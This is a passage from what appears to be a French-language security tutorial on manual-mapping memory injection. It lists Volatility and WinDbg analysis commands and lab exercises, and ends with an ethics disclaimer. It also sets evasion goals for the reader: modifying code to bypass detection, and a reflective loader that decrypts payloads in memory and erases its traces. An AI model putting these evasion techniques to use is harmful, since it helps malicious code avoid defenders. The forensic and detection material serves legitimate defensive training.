vol.py -f memory.dmp windows.handles --pid 1234 | findstr "File"  # Handles fichiers
vol.py -f memory.dmp windows.cmdline --pid 1234         # Arguments de ligne de commande

# Analyse des appels système
vol.py -f memory.dmp windows.netscan                    # Connexions réseau
vol.py -f memory.dmp windows.svcscan                    # Services

🔬 Exercices de Laboratoire Avancés

Exercice 1 : Analyse Statique du Code

Objectif : Analyser le code ASM avec IDA Pro/Ghidra.

Exercice 2 : Debug Dynamique avec WinDbg

Objectif : Débugger l'exécution étape par étape.

# Commandes WinDbg avancées
!dh 
# Dump PE headers !vprot
# Vérifier permissions mémoire !address # Analyse espace d'adressage dt nt!_PEB @$peb # Examiner PEB dt nt!_LDR_DATA_TABLE_ENTRY # Examiner entries Ldr # Breakpoints stratégiques bp ntdll!NtAllocateVirtualMemory bp ntdll!NtProtectVirtualMemory bp kernel32!LoadLibraryA bp ntdll!LdrLoadDll # Monitoring mémoire !poolused 2 # Voir allocations pool !vm # Statistiques mémoire !for_each_module .printf "%p %mu\n", @#Base, @#Size

Exercice 3 : Développement de Détecteur

Objectif : Créer un outil de détection en C++.

Exercice 4 : Évasion Avancée

Objectif : Modifier le code pour contourner les détections.

Challenge Expert :
Implémenter une version "reflective" du manual mapping qui : 1. Déchiffre le payload PE à la volée
2. Parse et mappe sans toucher au disque
3. Nettoie toutes les traces mémoire après exécution
4. Utilise uniquement du code position-independent

🎯 Conclusion : L'État de l'Art en 2026

Le manual mapping en assembleur pur représente le niveau expert des techniques d'injection mémoire. En 2026, cette technique reste pertinente malgré les avancées des solutions EDR/AV, car elle offre un contrôle total sur le processus de chargement et permet d'éviter de nombreuses signatures comportementales.

Key Insights 2026 :
1. Les EDR modernes détectent mieux le manual mapping via memory scanning avancé
2. Les techniques d'évasion doivent inclure du polymorphisme et de l'obfuscation
3. L'analyse VAD (Virtual Address Descriptor) est cruciale pour la détection
4. Les solutions kernel-mode (HVCI, KDP) rendent certaines techniques plus difficiles
5. La recherche continue dans les deux camps (attaque et défense)

Ressources pour l'Approfondissement

Éthique et Légalité :
Cette technique et tout le code fourni sont strictement destinés à la recherche en sécurité éthique, à la formation des cyberdéfenseurs, et au développement de solutions de protection. Toute utilisation malveillante est illégale et contraire aux principes éthiques de la communauté sécurité.